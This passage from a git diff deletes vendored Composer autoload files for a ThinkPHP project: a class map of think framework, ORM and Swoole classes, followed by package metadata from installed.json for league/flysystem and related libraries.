'/topthink/framework/src/think/contract/SessionHandlerInterface.php', - 'think\\contract\\TemplateHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/TemplateHandlerInterface.php', - 'think\\db\\BaseQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/BaseQuery.php', - 'think\\db\\Builder' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Builder.php', - 'think\\db\\CacheItem' => __DIR__ . '/..' . '/topthink/think-orm/src/db/CacheItem.php', - 'think\\db\\Connection' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Connection.php', - 'think\\db\\ConnectionInterface' => __DIR__ . '/..' . '/topthink/think-orm/src/db/ConnectionInterface.php', - 'think\\db\\Fetch' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Fetch.php', - 'think\\db\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Mongo.php', - 'think\\db\\PDOConnection' => __DIR__ . '/..' . '/topthink/think-orm/src/db/PDOConnection.php', - 'think\\db\\Query' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Query.php', - 'think\\db\\Raw' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Raw.php', - 'think\\db\\Where' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Where.php', - 'think\\db\\builder\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Mongo.php', - 'think\\db\\builder\\Mysql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Mysql.php', - 'think\\db\\builder\\Oracle' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Oracle.php', - 'think\\db\\builder\\Pgsql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Pgsql.php', - 'think\\db\\builder\\Sqlite' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Sqlite.php', - 'think\\db\\builder\\Sqlsrv' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Sqlsrv.php', - 'think\\db\\concern\\AggregateQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/AggregateQuery.php', - 'think\\db\\concern\\JoinAndViewQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/JoinAndViewQuery.php', - 'think\\db\\concern\\ModelRelationQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ModelRelationQuery.php', - 'think\\db\\concern\\ParamsBind' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ParamsBind.php', - 'think\\db\\concern\\ResultOperation' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ResultOperation.php', - 'think\\db\\concern\\TableFieldInfo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/TableFieldInfo.php', - 'think\\db\\concern\\TimeFieldQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/TimeFieldQuery.php', - 'think\\db\\concern\\Transaction' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/Transaction.php', - 'think\\db\\concern\\WhereQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/WhereQuery.php', - 'think\\db\\connector\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Mongo.php', - 'think\\db\\connector\\Mysql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Mysql.php', - 'think\\db\\connector\\Oracle' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Oracle.php', - 'think\\db\\connector\\Pgsql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Pgsql.php', - 'think\\db\\connector\\Sqlite' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Sqlite.php', - 'think\\db\\connector\\Sqlsrv' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Sqlsrv.php', - 'think\\db\\exception\\BindParamException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/BindParamException.php', - 'think\\db\\exception\\DataNotFoundException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/DataNotFoundException.php', - 'think\\db\\exception\\DbException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/DbException.php', - 'think\\db\\exception\\InvalidArgumentException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/InvalidArgumentException.php', - 'think\\db\\exception\\ModelEventException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/ModelEventException.php', - 'think\\db\\exception\\ModelNotFoundException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/ModelNotFoundException.php', - 'think\\db\\exception\\PDOException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/PDOException.php', - 'think\\event\\AppInit' => __DIR__ . '/..' . '/topthink/framework/src/think/event/AppInit.php', - 'think\\event\\HttpEnd' => __DIR__ . '/..' . '/topthink/framework/src/think/event/HttpEnd.php', - 'think\\event\\HttpRun' => __DIR__ . '/..' . '/topthink/framework/src/think/event/HttpRun.php', - 'think\\event\\LogWrite' => __DIR__ . '/..' . '/topthink/framework/src/think/event/LogWrite.php', - 'think\\event\\RouteLoaded' => __DIR__ . '/..' . '/topthink/framework/src/think/event/RouteLoaded.php', - 'think\\exception\\ClassNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ClassNotFoundException.php', - 'think\\exception\\ErrorException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ErrorException.php', - 'think\\exception\\FileException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/FileException.php', - 'think\\exception\\FuncNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/FuncNotFoundException.php', - 'think\\exception\\Handle' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/Handle.php', - 'think\\exception\\HttpException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/HttpException.php', - 'think\\exception\\HttpResponseException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/HttpResponseException.php', - 'think\\exception\\InvalidArgumentException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/InvalidArgumentException.php', - 'think\\exception\\RouteNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/RouteNotFoundException.php', - 'think\\exception\\ValidateException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ValidateException.php', - 'think\\facade\\App' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/App.php', - 'think\\facade\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Cache.php', - 'think\\facade\\Config' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Config.php', - 'think\\facade\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Console.php', - 'think\\facade\\Cookie' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Cookie.php', - 'think\\facade\\Db' => __DIR__ . '/..' . '/topthink/think-orm/src/facade/Db.php', - 'think\\facade\\Env' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Env.php', - 'think\\facade\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Event.php', - 'think\\facade\\Filesystem' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Filesystem.php', - 'think\\facade\\Lang' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Lang.php', - 'think\\facade\\Log' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Log.php', - 'think\\facade\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Middleware.php', - 'think\\facade\\Request' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Request.php', - 'think\\facade\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Route.php', - 'think\\facade\\Session' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Session.php', - 'think\\facade\\Template' => __DIR__ . '/..' . '/topthink/think-template/src/facade/Template.php', - 'think\\facade\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Validate.php', - 'think\\facade\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/View.php', - 'think\\file\\UploadedFile' => __DIR__ . '/..' . '/topthink/framework/src/think/file/UploadedFile.php', - 'think\\filesystem\\CacheStore' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/CacheStore.php', - 'think\\filesystem\\Driver' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/Driver.php', - 'think\\filesystem\\driver\\Local' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/driver/Local.php', - 'think\\helper\\Arr' => __DIR__ . '/..' . '/topthink/think-helper/src/helper/Arr.php', - 'think\\helper\\Str' => __DIR__ . '/..' . '/topthink/think-helper/src/helper/Str.php', - 'think\\initializer\\BootService' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/BootService.php', - 'think\\initializer\\Error' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/Error.php', - 'think\\initializer\\RegisterService' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/RegisterService.php', - 'think\\log\\Channel' => __DIR__ . '/..' . '/topthink/framework/src/think/log/Channel.php', - 'think\\log\\ChannelSet' => __DIR__ . '/..' . '/topthink/framework/src/think/log/ChannelSet.php', - 'think\\log\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/log/driver/File.php', - 'think\\log\\driver\\Socket' => __DIR__ . '/..' . '/topthink/framework/src/think/log/driver/Socket.php', - 'think\\middleware\\AllowCrossDomain' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/AllowCrossDomain.php', - 'think\\middleware\\CheckRequestCache' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/CheckRequestCache.php', - 'think\\middleware\\FormTokenCheck' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/FormTokenCheck.php', - 'think\\middleware\\LoadLangPack' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/LoadLangPack.php', - 'think\\middleware\\SessionInit' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/SessionInit.php', - 'think\\model\\Collection' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Collection.php', - 'think\\model\\Pivot' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Pivot.php', - 'think\\model\\Relation' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Relation.php', - 'think\\model\\concern\\Attribute' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/Attribute.php', - 'think\\model\\concern\\Conversion' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/Conversion.php', - 'think\\model\\concern\\ModelEvent' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/ModelEvent.php', - 'think\\model\\concern\\OptimLock' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/OptimLock.php', - 'think\\model\\concern\\RelationShip' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/RelationShip.php', - 'think\\model\\concern\\SoftDelete' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/SoftDelete.php', - 'think\\model\\concern\\TimeStamp' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/TimeStamp.php', - 'think\\model\\relation\\BelongsTo' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/BelongsTo.php', - 'think\\model\\relation\\BelongsToMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/BelongsToMany.php', - 'think\\model\\relation\\HasMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasMany.php', - 'think\\model\\relation\\HasManyThrough' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasManyThrough.php', - 'think\\model\\relation\\HasOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasOne.php', - 'think\\model\\relation\\HasOneThrough' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasOneThrough.php', - 'think\\model\\relation\\MorphMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphMany.php', - 'think\\model\\relation\\MorphOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphOne.php', - 'think\\model\\relation\\MorphTo' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphTo.php', - 'think\\model\\relation\\MorphToMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphToMany.php', - 'think\\model\\relation\\OneToOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/OneToOne.php', - 'think\\paginator\\driver\\Bootstrap' => __DIR__ . '/..' . '/topthink/think-orm/src/paginator/driver/Bootstrap.php', - 'think\\response\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/response/File.php', - 'think\\response\\Html' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Html.php', - 'think\\response\\Json' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Json.php', - 'think\\response\\Jsonp' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Jsonp.php', - 'think\\response\\Redirect' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Redirect.php', - 'think\\response\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/response/View.php', - 'think\\response\\Xml' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Xml.php', - 'think\\route\\Dispatch' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Dispatch.php', - 'think\\route\\Domain' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Domain.php', - 'think\\route\\Resource' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Resource.php', - 'think\\route\\Rule' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Rule.php', - 'think\\route\\RuleGroup' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleGroup.php', - 'think\\route\\RuleItem' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleItem.php', - 'think\\route\\RuleName' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleName.php', - 'think\\route\\Url' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Url.php', - 'think\\route\\dispatch\\Callback' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Callback.php', - 'think\\route\\dispatch\\Controller' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Controller.php', - 'think\\route\\dispatch\\Url' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Url.php', - 'think\\service\\ModelService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/ModelService.php', - 'think\\service\\PaginatorService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/PaginatorService.php', - 'think\\service\\ValidateService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/ValidateService.php', - 'think\\session\\Store' => __DIR__ . '/..' . '/topthink/framework/src/think/session/Store.php', - 'think\\session\\driver\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/session/driver/Cache.php', - 'think\\session\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/session/driver/File.php', - 'think\\swoole\\App' => __DIR__ . '/..' . '/topthink/think-swoole/src/App.php', - 'think\\swoole\\FileWatcher' => __DIR__ . '/..' . '/topthink/think-swoole/src/FileWatcher.php', - 'think\\swoole\\Http' => __DIR__ . '/..' . '/topthink/think-swoole/src/Http.php', - 'think\\swoole\\Manager' => __DIR__ . '/..' . '/topthink/think-swoole/src/Manager.php', - 'think\\swoole\\PidManager' => __DIR__ . '/..' . '/topthink/think-swoole/src/PidManager.php', - 'think\\swoole\\Pool' => __DIR__ . '/..' . '/topthink/think-swoole/src/Pool.php', - 'think\\swoole\\RpcManager' => __DIR__ . '/..' . '/topthink/think-swoole/src/RpcManager.php', - 'think\\swoole\\Sandbox' => __DIR__ . '/..' . '/topthink/think-swoole/src/Sandbox.php', - 'think\\swoole\\Service' => __DIR__ . '/..' . '/topthink/think-swoole/src/Service.php', - 'think\\swoole\\Table' => __DIR__ . '/..' . '/topthink/think-swoole/src/Table.php', - 'think\\swoole\\Websocket' => __DIR__ . '/..' . '/topthink/think-swoole/src/Websocket.php', - 'think\\swoole\\command\\Rpc' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/Rpc.php', - 'think\\swoole\\command\\RpcInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/RpcInterface.php', - 'think\\swoole\\command\\Server' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/Server.php', - 'think\\swoole\\concerns\\InteractsWithHttp' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithHttp.php', - 'think\\swoole\\concerns\\InteractsWithPools' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithPools.php', - 'think\\swoole\\concerns\\InteractsWithRpcClient' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php', - 'think\\swoole\\concerns\\InteractsWithRpcServer' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php', - 'think\\swoole\\concerns\\InteractsWithServer' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithServer.php', - 'think\\swoole\\concerns\\InteractsWithSwooleTable' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php', - 'think\\swoole\\concerns\\InteractsWithWebsocket' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php', - 'think\\swoole\\concerns\\ModifyProperty' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/ModifyProperty.php', - 'think\\swoole\\concerns\\WithApplication' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/WithApplication.php', - 'think\\swoole\\contract\\ResetterInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/ResetterInterface.php', - 'think\\swoole\\contract\\rpc\\ParserInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/rpc/ParserInterface.php', - 'think\\swoole\\contract\\websocket\\HandlerInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/HandlerInterface.php', - 'think\\swoole\\contract\\websocket\\ParserInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/ParserInterface.php', - 'think\\swoole\\contract\\websocket\\RoomInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/RoomInterface.php', - 'think\\swoole\\coroutine\\Context' => __DIR__ . '/..' . '/topthink/think-swoole/src/coroutine/Context.php', - 'think\\swoole\\exception\\RpcClientException' => __DIR__ . '/..' . '/topthink/think-swoole/src/exception/RpcClientException.php', - 'think\\swoole\\exception\\RpcResponseException' => __DIR__ . '/..' . '/topthink/think-swoole/src/exception/RpcResponseException.php', - 'think\\swoole\\facade\\Server' => __DIR__ . '/..' . '/topthink/think-swoole/src/facade/Server.php', - 'think\\swoole\\middleware\\ResetVarDumper' => __DIR__ . '/..' . '/topthink/think-swoole/src/middleware/ResetVarDumper.php', - 'think\\swoole\\pool\\Cache' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Cache.php', - 'think\\swoole\\pool\\Client' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Client.php', - 'think\\swoole\\pool\\Db' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Db.php', - 'think\\swoole\\pool\\Proxy' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Proxy.php', - 'think\\swoole\\pool\\proxy\\Connection' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/proxy/Connection.php', - 'think\\swoole\\pool\\proxy\\Store' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/proxy/Store.php', - 'think\\swoole\\resetters\\ClearInstances' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ClearInstances.php', - 'think\\swoole\\resetters\\ResetConfig' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetConfig.php', - 'think\\swoole\\resetters\\ResetEvent' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetEvent.php', - 'think\\swoole\\resetters\\ResetService' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetService.php', - 'think\\swoole\\rpc\\Error' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Error.php', - 'think\\swoole\\rpc\\File' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/File.php', - 'think\\swoole\\rpc\\JsonParser' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/JsonParser.php', - 'think\\swoole\\rpc\\Packer' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Packer.php', - 'think\\swoole\\rpc\\Protocol' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Protocol.php', - 'think\\swoole\\rpc\\client\\Connector' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Connector.php', - 'think\\swoole\\rpc\\client\\Gateway' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Gateway.php', - 'think\\swoole\\rpc\\client\\Proxy' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Proxy.php', - 'think\\swoole\\rpc\\server\\Channel' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/Channel.php', - 'think\\swoole\\rpc\\server\\Dispatcher' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/Dispatcher.php', - 'think\\swoole\\rpc\\server\\channel\\Buffer' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/channel/Buffer.php', - 'think\\swoole\\rpc\\server\\channel\\File' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/channel/File.php', - 'think\\swoole\\websocket\\Pusher' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/Pusher.php', - 'think\\swoole\\websocket\\Room' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/Room.php', - 'think\\swoole\\websocket\\SimpleParser' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/SimpleParser.php', - 'think\\swoole\\websocket\\middleware\\SessionInit' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/middleware/SessionInit.php', - 'think\\swoole\\websocket\\room\\Redis' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/room/Redis.php', - 'think\\swoole\\websocket\\room\\Table' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/room/Table.php', - 'think\\swoole\\websocket\\socketio\\Controller' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Controller.php', - 'think\\swoole\\websocket\\socketio\\Handler' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Handler.php', - 'think\\swoole\\websocket\\socketio\\Packet' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Packet.php', - 'think\\swoole\\websocket\\socketio\\Parser' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/socketio/Parser.php', - 'think\\template\\TagLib' => __DIR__ . '/..' . '/topthink/think-template/src/template/TagLib.php', - 'think\\template\\driver\\File' => __DIR__ . '/..' . '/topthink/think-template/src/template/driver/File.php', - 'think\\template\\exception\\TemplateNotFoundException' => __DIR__ . '/..' . '/topthink/think-template/src/template/exception/TemplateNotFoundException.php', - 'think\\template\\taglib\\Cx' => __DIR__ . '/..' . '/topthink/think-template/src/template/taglib/Cx.php', - 'think\\trace\\Console' => __DIR__ . '/..' . '/topthink/think-trace/src/Console.php', - 'think\\trace\\Html' => __DIR__ . '/..' . '/topthink/think-trace/src/Html.php', - 'think\\trace\\Service' => __DIR__ . '/..' . '/topthink/think-trace/src/Service.php', - 'think\\trace\\TraceDebug' => __DIR__ . '/..' . '/topthink/think-trace/src/TraceDebug.php', - 'think\\validate\\ValidateRule' => __DIR__ . '/..' . '/topthink/framework/src/think/validate/ValidateRule.php', - 'think\\view\\driver\\Php' => __DIR__ . '/..' . '/topthink/framework/src/think/view/driver/Php.php', - 'think\\view\\driver\\Think' => __DIR__ . '/..' . '/topthink/think-view/src/Think.php', - ); - - public static function getInitializer(ClassLoader $loader) - { - return \Closure::bind(function () use ($loader) { - $loader->prefixLengthsPsr4 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$prefixLengthsPsr4; - $loader->prefixDirsPsr4 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$prefixDirsPsr4; - $loader->fallbackDirsPsr0 = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$fallbackDirsPsr0; - $loader->classMap = ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$classMap; - - }, null, ClassLoader::class); - } -} diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json deleted file mode 100644 index c637e33..0000000 --- a/vendor/composer/installed.json +++ /dev/null @@ -1,1698 +0,0 @@ -{ - "packages": [ - { - "name": "league/flysystem", - "version": "1.1.3", - "version_normalized": "1.1.3.0", - "source": { - "type": "git", - "url": "https://github.com/thephpleague/flysystem.git", - "reference": "9be3b16c877d477357c015cec057548cf9b2a14a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/9be3b16c877d477357c015cec057548cf9b2a14a", - "reference": "9be3b16c877d477357c015cec057548cf9b2a14a", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-fileinfo": "*", - "league/mime-type-detection": "^1.3", - "php": "^7.2.5 || ^8.0" - }, - "conflict": { - "league/flysystem-sftp": "<1.0.6" - }, - "require-dev": { - "phpspec/prophecy": "^1.11.1", - "phpunit/phpunit": "^8.5.8" - }, - "suggest": { - "ext-fileinfo": "Required for MimeType", - "ext-ftp": "Allows you to use FTP server storage", - "ext-openssl": "Allows you to use FTPS server storage", - "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", - "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", - "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", - "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", - "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", - "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", - "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", - "league/flysystem-webdav": "Allows you to use WebDAV storage", - "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", - "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", - "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" - }, - "time": "2020-08-23T07:39:11+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "League\\Flysystem\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Frank de Jonge", - "email": "info@frenky.net" - } - ], - "description": "Filesystem abstraction: Many filesystems, one API.", - "keywords": [ - "Cloud Files", - "WebDAV", - "abstraction", - "aws", - "cloud", - "copy.com", - "dropbox", - "file systems", - "files", - "filesystem", - "filesystems", - "ftp", - "rackspace", - "remote", - "s3", - "sftp", - "storage" - ], - "support": { - "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/1.x" - }, - "funding": [ - { - "url": "https://offset.earth/frankdejonge", - "type": "other" - } - ], - "install-path": "../league/flysystem" - }, - { - "name": "league/flysystem-cached-adapter", - "version": "1.1.0", - "version_normalized": "1.1.0.0", - "source": { - "type": "git", - "url": "https://github.com/thephpleague/flysystem-cached-adapter.git", - "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-cached-adapter/zipball/d1925efb2207ac4be3ad0c40b8277175f99ffaff", - "reference": "d1925efb2207ac4be3ad0c40b8277175f99ffaff", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "league/flysystem": "~1.0", - "psr/cache": "^1.0.0" - }, - "require-dev": { - "mockery/mockery": "~0.9", - "phpspec/phpspec": "^3.4", - "phpunit/phpunit": "^5.7", - "predis/predis": "~1.0", - "tedivm/stash": "~0.12" - }, - "suggest": { - "ext-phpredis": "Pure C implemented extension for PHP" - }, - "time": "2020-07-25T15:56:04+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "League\\Flysystem\\Cached\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "frankdejonge", - "email": "info@frenky.net" - } - ], - "description": "An adapter decorator to enable meta-data caching.", - "support": { - "issues": "https://github.com/thephpleague/flysystem-cached-adapter/issues", - "source": "https://github.com/thephpleague/flysystem-cached-adapter/tree/master" - }, - "install-path": "../league/flysystem-cached-adapter" - }, - { - "name": "league/mime-type-detection", - "version": "1.5.1", - "version_normalized": "1.5.1.0", - "source": { - "type": "git", - "url": "https://github.com/thephpleague/mime-type-detection.git", - "reference": "353f66d7555d8a90781f6f5e7091932f9a4250aa" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/thephpleague/mime-type-detection/zipball/353f66d7555d8a90781f6f5e7091932f9a4250aa", - "reference": "353f66d7555d8a90781f6f5e7091932f9a4250aa", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-fileinfo": "*", - "php": "^7.2 || ^8.0" - }, - "require-dev": { - "phpstan/phpstan": "^0.12.36", - "phpunit/phpunit": "^8.5.8" - }, - "time": "2020-10-18T11:50:25+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "League\\MimeTypeDetection\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Frank de Jonge", - "email": "info@frankdejonge.nl" - } - ], - "description": "Mime-type detection for Flysystem", - "support": { - "issues": 